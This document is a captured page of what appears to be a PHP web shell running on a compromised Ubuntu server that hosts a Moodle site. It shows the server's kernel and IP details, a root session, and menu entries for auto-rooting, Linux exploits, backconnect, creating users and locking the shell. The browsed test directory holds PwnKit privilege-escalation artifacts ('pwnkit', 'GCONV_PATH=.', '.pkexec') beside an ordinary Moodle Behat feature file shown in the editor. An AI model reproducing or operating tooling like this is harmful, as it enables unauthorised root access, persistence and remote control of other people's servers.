Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
cohort /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
access_visible_cohorts.feature
7.56
KB
-rw-rw-r--
add_cohort.feature
2.98
KB
-rw-rw-r--
behat_cohort.php
2.79
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
upload_cohort_users.feature
2.1
KB
-rw-rw-r--
upload_cohorts.feature
12.53
KB
-rw-rw-r--
view_cohorts.feature
2.52
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : access_visible_cohorts.feature
@core @core_cohort @enrol_cohort Feature: Access visible and hidden cohorts In order to enrol users from cohorts As an manager or teacher I need to be able to view the list of cohorts defined above the course Background: Given the following "categories" exist: | name | category | idnumber | | Cat 1 | 0 | CAT1 | | Cat 2 | 0 | CAT2 | And the following "cohorts" exist: | name | idnumber | visible | | System cohort | CV0 | 1 | | System hidden cohort | CH0 | 0 | | System empty cohort | CVE0 | 1 | And the following "cohorts" exist: | name | idnumber | contextlevel | reference | visible | | Cohort in category 1 | CV1 | Category | CAT1 | 1 | | Cohort in category 2 | CV2 | Category | CAT2 | 1 | | Cohort hidden in category 1 | CH1 | Category | CAT1 | 0 | | Cohort empty in category 1 | CVE1 | Category | CAT1 | 1 | Given the following "users" exist: | username | firstname | lastname | email | | user1 | First | User | first@example.com | | user2 | Second | User | second@example.com | | student | Sam | User | student@example.com | | teacher | Terry | User | teacher@example.com | And the following "cohort members" exist: | user | cohort | | student | CV0 | | student | CV1 | | student | CV2 | | student | CH0 | | student | CH1 | And the following "role assigns" exist: | user | role | contextlevel | reference | | user1 | manager | System | | | user2 | manager | Category | CAT1 | And the following "courses" exist: | fullname | shortname | category | | Course 1 | C1 | CAT1 | And the following "course enrolments" exist: | user | course | role | | teacher | C1 | editingteacher | @javascript Scenario: Teacher can see visible cohorts defined in the above contexts When I log in as "teacher" And I am on "Course 1" course homepage And I navigate to "Enrolment methods" node in "Course administration > Users" And I select "Cohort sync" from the "Add method" singleselect And I open the autocomplete suggestions list Then "Cohort in category 1" "autocomplete_suggestions" should exist And "System cohort" "autocomplete_suggestions" should exist And "Cohort hidden in category 1" "autocomplete_suggestions" should not exist And "System hidden cohort" "autocomplete_suggestions" should not exist And "Cohort in category 2" "autocomplete_suggestions" should not exist And "Cohort empty in category 1" "autocomplete_suggestions" should exist And "System empty cohort" "autocomplete_suggestions" should exist And I set the field "Cohort" to "System cohort" And I press "Add method" And I am on "Course 1" course homepage And I navigate to "Enrolled users" node in "Course administration > Users" And I should see "student@example.com" And I am on "Course 1" course homepage And I navigate to "Groups" node in "Course administration > Users" And I press "Auto-create groups" And the "Select members from cohort" select box should contain "Cohort in category 1" And the "Select members from cohort" select box should contain "System cohort" And the "Select members from cohort" select box should not contain "Cohort hidden in category 1" And the "Select members from cohort" select box should not contain "System hidden cohort" And the "Select members from cohort" select box should not contain "Cohort in category 2" And the "Select members from cohort" select box should not contain "Cohort empty in category 1" And the "Select members from cohort" select box should not contain "System empty cohort" @javascript Scenario: System manager can see all cohorts defined in the above contexts When I log in as "user1" And I am on "Course 1" course homepage And I navigate to "Enrolment methods" node in "Course administration > Users" And I select "Cohort sync" from the "Add method" singleselect And I open the autocomplete suggestions list Then "Cohort in category 1" "autocomplete_suggestions" should exist And "System cohort" "autocomplete_suggestions" should exist And "Cohort hidden in category 1" "autocomplete_suggestions" should exist And "System hidden cohort" "autocomplete_suggestions" should exist And "Cohort in category 2" "autocomplete_suggestions" should not exist And "Cohort empty in category 1" "autocomplete_suggestions" should exist And "System empty cohort" "autocomplete_suggestions" should exist And I set the field "Cohort" to "System cohort" And I press "Add method" And I navigate to "Enrolled users" node in "Course administration > Users" And I should see "student@example.com" And I navigate to "Groups" node in "Course administration > Users" And I press "Auto-create groups" And the "Select members from cohort" select box should contain "Cohort in category 1" And the "Select members from cohort" select box should contain "System cohort" And the "Select members from cohort" select box should contain "Cohort hidden in category 1" And the "Select members from cohort" select box should contain "System hidden cohort" And the "Select members from cohort" select box should not contain "Cohort in category 2" And the "Select members from cohort" select box should not contain "Cohort empty in category 1" And the "Select members from cohort" select box should not contain "System empty cohort" @javascript Scenario: Category manager can see all cohorts defined in his category and visible cohorts defined above When I log in as "user2" And I am on "Course 1" course homepage And I navigate to "Enrolment methods" node in "Course administration > Users" And I select "Cohort sync" from the "Add method" singleselect And I open the autocomplete suggestions list Then "Cohort in category 1" "autocomplete_suggestions" should exist And "System cohort" "autocomplete_suggestions" should exist And "Cohort hidden in category 1" "autocomplete_suggestions" should exist And "System hidden cohort" "autocomplete_suggestions" should not exist And "Cohort in category 2" "autocomplete_suggestions" should not exist And "Cohort empty in category 1" "autocomplete_suggestions" should exist And "System empty cohort" "autocomplete_suggestions" should exist And I set the field "Cohort" to "System cohort" And I press "Add method" And I navigate to "Enrolled users" node in "Course administration > Users" And I should see "student@example.com" And I navigate to "Groups" node in "Course administration > Users" And I press "Auto-create groups" And the "Select members from cohort" select box should contain "Cohort in category 1" And the "Select members from cohort" select box should contain "System cohort" And the "Select members from cohort" select box should contain "Cohort hidden in category 1" And the "Select members from cohort" select box should not contain "System hidden cohort" And the "Select members from cohort" select box should not contain "Cohort in category 2" And the "Select members from cohort" select box should not contain "Cohort empty in category 1" And the "Select members from cohort" select box should not contain "System empty cohort"
Close